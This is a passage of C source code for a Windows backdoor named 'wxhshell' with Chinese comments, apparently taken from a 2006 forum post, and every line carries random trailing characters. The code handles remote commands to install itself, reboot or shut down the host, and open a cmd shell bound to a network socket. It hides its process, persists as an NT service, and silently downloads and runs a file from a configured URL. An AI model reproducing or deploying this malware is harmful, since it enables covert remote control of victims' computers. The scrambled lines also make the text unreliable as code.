  // 帮助 &2Q0ii#Aa  
  case '?': { Y@#rGV>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >39\u &)  
    break; JA]qAr  
  } I7-6|J@#^  
  // 安装 k3- 7Vyg  
  case 'i': { .~C[D T+,  
    if(Install()) nuucYm%IF-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]l!I9  
    else $j"TPkW{M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qJZ:\u8oO  
    break; bkSI1m3  
    } W*!u_]K>  
  // 卸载 !C>'a:  
  case 'r': { >&-" X# :  
    if(Uninstall()) }|-Yd"$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rP<S =eb  
    else TPi=!*$&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -udKGrT+  
    break; Gc0/*8u/  
    } j-n-2:Q  
  // 显示 wxhshell 所在路径 6<`tb)_2~  
  case 'p': { VM"z6@  
    char svExeFile[MAX_PATH]; %AV[vr,  
    strcpy(svExeFile,"\n\r"); ;#+Se,)  
      strcat(svExeFile,ExeFile); {[tx^b  
        send(wsh,svExeFile,strlen(svExeFile),0); AZ'"Ua  
    break; g-O}e4  
    } e"u89acp  
  // 重启 ,b!]gsds  
  case 'b': { F8En )#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rd0[(-  
    if(Boot(REBOOT)) t)n}S;iD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Fo" MeH?R  
    else { 5a^b{=#Y  
    closesocket(wsh); ns}"[44C}l  
    ExitThread(0); q*pWx]Y  
    } =e!o  
    break;  o8h1  
    } /q\{OsrX  
  // 关机 a]%>7yr4  
  case 'd': { e nw7?|(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3w!,@=.q  
    if(Boot(SHUTDOWN)) >ZjGs8&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C0#"U f  
    else { >SSRwYIN  
    closesocket(wsh); OO  /Pc  
    ExitThread(0); kA/V=xO<  
    } \66j4?H#  
    break; 0<4Sw j3s7  
    } m! H7;S-(  
  // 获取shell #>[5NQ;$'  
  case 's': { !tckE\ h#N  
    CmdShell(wsh); 1XD|H_JG<j  
    closesocket(wsh); TxDzGC  
    ExitThread(0); g0M9v]c  
    break; 5IfyD ]<  
  } tI;pdR]  
  // 退出 |`c=`xK7'  
  case 'x': { oH vVZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $9In\ x  
    CloseIt(wsh); cpe/GvD5]  
    break; %$3)xtS6  
    } Ix1[ $9  
  // 离开 /'WIgP  
  case 'q': { )<8f3;qd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Eh8s(  
    closesocket(wsh); \UR/tlw+/  
    WSACleanup(); {I"`(  
    exit(1); 9! 6\8  
    break; ?=^ M(TA;  
        } H6! <y-  
  } iTpU4Qsj  
  } <&Q(I+^  
:f|X$> b  
  // 提示信息 _5l3e7YN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xZpGSlA  
} %^VQw!  
  } 9p '#a:  
/:o (Ghc?  
  return; !5escR!\D  
} VfON{ 1g  
cJQ&#u  
// shell模块句柄 1-6[KBQ8  
int CmdShell(SOCKET sock) >Vl8ZQ8  
{ V/@?KC0B5  
STARTUPINFO si; Ei& Z  
ZeroMemory(&si,sizeof(si)); &8^ch,+pD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ocbNf'W;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N-9qNLSP  
PROCESS_INFORMATION ProcessInfo; @*}?4wU^k  
char cmdline[]="cmd"; SGUu\yS&s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LnY`f -H  
  return 0; [Dou%\  
} )VoQ/ch<  
<6L=% \X{*  
// 自身启动模式 1;$8=j2  
int StartFromService(void) <xpHlLc  
{ xO nW~Z  
typedef struct ( /):  
{ ``j8T[g  
  DWORD ExitStatus; `x'vF#  
  DWORD PebBaseAddress; eo~>|0A*V  
  DWORD AffinityMask; v *UJ4r  
  DWORD BasePriority; LsGu-Y 5^  
  ULONG UniqueProcessId; G"._]3 CPF  
  ULONG InheritedFromUniqueProcessId; tUR9ti  
}   PROCESS_BASIC_INFORMATION; {6uhUb  
TA~YCj$  
PROCNTQSIP NtQueryInformationProcess; 60`4 _Uy]_  
H*&ZX AKv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .gS x`|!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HGJfj*JH  
""2g{!~r  
  HANDLE             hProcess; fL7u419=  
  PROCESS_BASIC_INFORMATION pbi; }G50?"^u  
(K>=!&tlp=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yxpDQ O~x  
  if(NULL == hInst ) return 0; 7vf?#^ RlV  
b}OOG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~BJ~]~0P`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ['l.]k-b}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uq8=R)1<|d  
@T6Z3Zj}  
  if (!NtQueryInformationProcess) return 0; G>q16nS~KP  
5HAIKc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q|+g= |%^  
  if(!hProcess) return 0; b5v6Y:f&fK  
q%Fc?d9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ad@Odx=o*R  
y?1<7>L5~  
  CloseHandle(hProcess); QxjX:O  
nR()ei^X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5_}e?T&s  
if(hProcess==NULL) return 0; !Ui"<0[,  
%j*i=  
HMODULE hMod; )f6:{ma  
char procName[255]; <m|\#Jw_V  
unsigned long cbNeeded; W18I"lHeh  
!^ /Mn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZX Sl+k .  
p>c`GDU  
  CloseHandle(hProcess); 8!c#XMHV  
W6>SYa  
if(strstr(procName,"services")) return 1; // 以服务启动 .;'3Roi  
 t=;84lA  
  return 0; // 注册表启动 X%>Sio  
} ~il{6Z+#n  
1p[Z`m*9  
// 主模块 dT9ekNQB  
int StartWxhshell(LPSTR lpCmdLine) 1>!wm0;x  
{ v-J9N(y"  
  SOCKET wsl; x`#|8  
BOOL val=TRUE; 1`X- O>  
  int port=0; {ta0dS;1  
  struct sockaddr_in door; j+>#.22+  
sMikTwR/^  
  if(wscfg.ws_autoins) Install(); O73 /2=1V  
3w B03\P  
port=atoi(lpCmdLine); N%,!&\L  
5}/TB_W7j  
if(port<=0) port=wscfg.ws_port; |=Mn~`9p  
NQD*8PGfj  
  WSADATA data; Po: )b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BRx`83CK  
J f,)Y>EI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b BFdr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !w[io;  
  door.sin_family = AF_INET; %!>~2=Q2*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -p:X]Ov  
  door.sin_port = htons(port); J}035  
RNJUA^{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f#W5Nu'*!  
closesocket(wsl); DjX*2O  
return 1; sZ,mRT  
} s] X]jfA.  
0uf'6<fR  
  if(listen(wsl,2) == INVALID_SOCKET) { *vss  
closesocket(wsl); r95l.v  
return 1; "^~>aVuXf  
} 7D;g\{>M  
  Wxhshell(wsl); j3W)5ZX  
  WSACleanup(); E!eBQ[@  
'kD~tpZ  
return 0; #jja#PF]7  
Dw@0P  
} B>11  
+P&;cCV`S3  
// 以NT服务方式启动 'e3[m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _TRO2p0  
{ c==` r C  
DWORD   status = 0; 6L~tUe.G  
  DWORD   specificError = 0xfffffff; J)w58/`?t  
r# }`{C;+5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9\|n2$H:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -F+dRzxH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "SuBtoK  
  serviceStatus.dwWin32ExitCode     = 0; -n-rKN.T  
  serviceStatus.dwServiceSpecificExitCode = 0; 8qEK6-  
  serviceStatus.dwCheckPoint       = 0; 8G>;X;W  
  serviceStatus.dwWaitHint       = 0; Ng6(2Wt0e  
\?bp^BrI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2#n4t2 p  
  if (hServiceStatusHandle==0) return; K,>D%mJ  
?5%|YsJP_  
status = GetLastError(); {&'u1yR  
  if (status!=NO_ERROR) 6[h 3pb/m  
{ P| [i{h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0.^9)v*i  
    serviceStatus.dwCheckPoint       = 0; SOyE$GoOsx  
    serviceStatus.dwWaitHint       = 0; cNW [i"  
    serviceStatus.dwWin32ExitCode     = status; P8JN m"C  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0@9.h{s@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uM8YY[b  
    return; *S).@j\{W  
  } BVx: JiA  
%C]K`=vI-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bBQ1 ~ R  
  serviceStatus.dwCheckPoint       = 0; y: 0j$%^  
  serviceStatus.dwWaitHint       = 0; V4RtH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q1G?e,Q  
} He4sP` &I  
uLw$`ihw  
// 处理NT服务事件,比如:启动、停止 n=vW oU9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *{]9e\DF  
{ p7"o:YSQ  
switch(fdwControl) \(lt [=  
{ lg0iNc!  
case SERVICE_CONTROL_STOP: C ^@~  
  serviceStatus.dwWin32ExitCode = 0; R~,*W1G6sF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e ,_b  
  serviceStatus.dwCheckPoint   = 0; glk_ *x  
  serviceStatus.dwWaitHint     = 0; <t{T]i+  
  { v'C`;I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zS*X9|p  
  } Z#wmEc.}C  
  return; ^/Id!Y7  
case SERVICE_CONTROL_PAUSE: eD0Rv0BV^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lO-:[@  
  break; *pMgjr  
case SERVICE_CONTROL_CONTINUE: 9w -t9X>X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :@TfhQV_=Q  
  break; x}G["ZU}v]  
case SERVICE_CONTROL_INTERROGATE: zMT0ToG  
  break; @`N)`u85[  
}; T4`.rnzyRb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mAk@Q|u  
} .1u"16_  
<;d?E%`  
// 标准应用程序主函数 &Bbs\ ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a G^kL  
{ 54kd>)|"ag  
S6 F28 d[j  
// 获取操作系统版本 R{~Yh.)~  
OsIsNt=GetOsVer(); %@Nuzdp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); taXS>*|B  
Q:\I %o  
  // 从命令行安装 ]3_oT^$:  
  if(strpbrk(lpCmdLine,"iI")) Install(); c <[?Z7y  
@Z.s:FV[  
  // 下载执行文件 sKhX0,s&  
if(wscfg.ws_downexe) { .(tga&]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bz[+g,e2oA  
  WinExec(wscfg.ws_filenam,SW_HIDE); +Io[o6*  
} NTk"W!<Cl2  
YCwfrz  
if(!OsIsNt) { $X~4J  
// 如果时win9x,隐藏进程并且设置为注册表启动 +I0?D  
HideProc(); -r_/b  
StartWxhshell(lpCmdLine); &eQF[8 ,  
} B Mh 949;  
else w!7f*  
  if(StartFromService()) ?]}1FP  
  // 以服务方式启动 xBhfC!AK}  
  StartServiceCtrlDispatcher(DispatchTable); e2Sudd=' G  
else Akf?BB3bC  
  // 普通方式启动 zE +)oQ,  
  StartWxhshell(lpCmdLine); Ij hC@5qk  
DCv~^  
return 0; 3&kHAXzM  
}
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只看该作者 1 发表于: 2006-10-10
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